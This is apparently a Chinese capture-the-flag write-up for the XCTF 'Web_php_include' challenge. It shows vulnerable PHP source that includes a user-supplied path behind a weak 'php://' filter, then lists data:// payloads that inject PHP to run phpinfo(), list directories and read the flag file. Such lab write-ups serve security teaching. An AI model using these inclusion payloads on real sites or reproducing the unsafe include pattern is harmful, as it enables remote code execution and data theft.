当前位置: 首页 > article >正文

89,[5]攻防世界 web Web_php_include

进入靶场

<?php
// 显示当前 PHP 文件的源代码,方便调试或展示代码内容
show_source(__FILE__);

// 从 URL 的查询字符串中获取名为 'hello' 的参数值,并将其输出到页面上
// 例如,当访问的 URL 为 "example.php?hello=world" 时,会输出 "world"
echo $_GET['hello'];

// 从 URL 的查询字符串中获取名为 'page' 的参数值,并将其赋值给变量 $page
// 这个参数通常用于指定要包含的文件
$page = $_GET['page'];

// 使用 while 循环来检查 $page 变量中是否包含 "php://" 字符串
// strstr 函数用于查找字符串中第一次出现指定子字符串的位置,如果找到则返回包含该子字符串及其后续部分的字符串,否则返回 false
while (strstr($page, "php://")) {
    // 如果 $page 中包含 "php://",则使用 str_replace 函数将 "php://" 替换为空字符串
    // 这一步的目的是防止用户通过构造包含 "php://" 的输入来利用 PHP 的伪协议进行攻击
    $page = str_replace("php://", "", $page);
}

// 使用 include 函数包含 $page 变量所指定的文件
// 包含文件后,该文件的内容会被当作当前文件的一部分执行
// 注意:这里需要确保 $page 的值是安全的,否则可能会导致文件包含漏洞
include($page);
?>

 data:// 伪协议

data:// 是 PHP 中的一种伪协议,它允许我们直接将数据作为一个 “虚拟文件” 来处理。使用 data:// 伪协议的基本格式如下:

data://<mime-type>[;charset=<charset>][;base64],<data>
  • <mime-type>:指定数据的 MIME 类型,例如 text/plain 表示纯文本类型。
  • charset:可选参数,用于指定字符编码。
  • base64:可选参数,如果数据是经过 Base64 编码的,则需要指定该参数。
  • <data>:实际的数据内容。

1,

/?page=data://text/plain,<?php phpinfo()?>

  • data://:表示使用 data:// 伪协议。
  • text/plain:指定数据的 MIME 类型为纯文本。
  • ,:作为分隔符,用于分隔 MIME 类型和实际的数据内容。
  • <?php phpinfo()?>:这是实际的数据内容,它是一段 PHP 代码,当这段代码被包含并执行时,会调用 phpinfo() 函数,该函数会输出 PHP 的配置信息,包括 PHP 版本、编译选项、加载的扩展模块等详细信息。

 

2, 

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

$_SERVER['DOCUMENT_ROOT'] 是 PHP 的一个超全局变量,它存储着当前网站的根目录路径。echo 语句会将这个路径输出。

3, 

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

 目的是列出 /var/www 目录下的所有文件和子目录信息

4, 

/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
  • $a = file_get_contents('fl4gisisish3r3.php');file_get_contents 是 PHP 的一个函数,用于将整个文件读入一个字符串。这里尝试读取 fl4gisisish3r3.php 文件的内容,并将其赋值给变量 $a
  • echo htmlspecialchars($a);htmlspecialchars 函数将字符串中的特殊字符(如 <>& 等)转换为 HTML 实体,这样可以防止这些特殊字符在 HTML 页面中被错误解析,然后将处理后的字符串输出到页面上。


http://www.kler.cn/a/528551.html

相关文章:

  • Ubuntu16.04编译安装Cartographer 1.0版本
  • Android记事本App设计开发项目实战教程2025最新版Android Studio
  • LeetCode 0040.组合总和 II:回溯 + 剪枝
  • 深入理解 HTML DOM:文档对象模型详解
  • 反向代理模块b
  • 线段树 算法
  • OpenAI o3-mini全面解析:最新免费推理模型重磅发布
  • 【SSM】Spring + SpringMVC + Mybatis
  • Unity开发游戏使用XLua的基础
  • 2024第十五届蓝桥杯网安赛道省赛题目--rc4
  • 水稻和杂草检测数据集VOC+YOLO格式1356张2类别
  • Linux tr 命令使用详解
  • 【题解】AtCoder Beginner Contest ABC391 D Gravity
  • OpenAI承认开源策略错误,考虑调整策略并推出o3-mini模型
  • 攻防世界 simple_php
  • Java基础知识总结(三十九)--流对象
  • 【JavaEE】Spring(4):配置文件
  • 1992-2025年中国计算机发展状况:服务器、电脑端与移动端的演进
  • Effective Objective-C 2.0 读书笔记—— 方法调配(method swizzling)
  • 【自然语言处理(NLP)】深度学习架构:Transformer 原理及代码实现
  • 2025_2_1 C语言中关于字符串
  • 从 HTTP/1.1 到 HTTP/3:如何影响网页加载速度与性能
  • 交易股指期货有什么技巧吗?
  • C++中的构造器(Constructor)(也称为构造函数)
  • 三、js笔记
  • 扬帆启航于数据结构算法之雅舟旅程,悠然漫步于C++秘境——探索线性表之栈的绮丽定义与精妙实现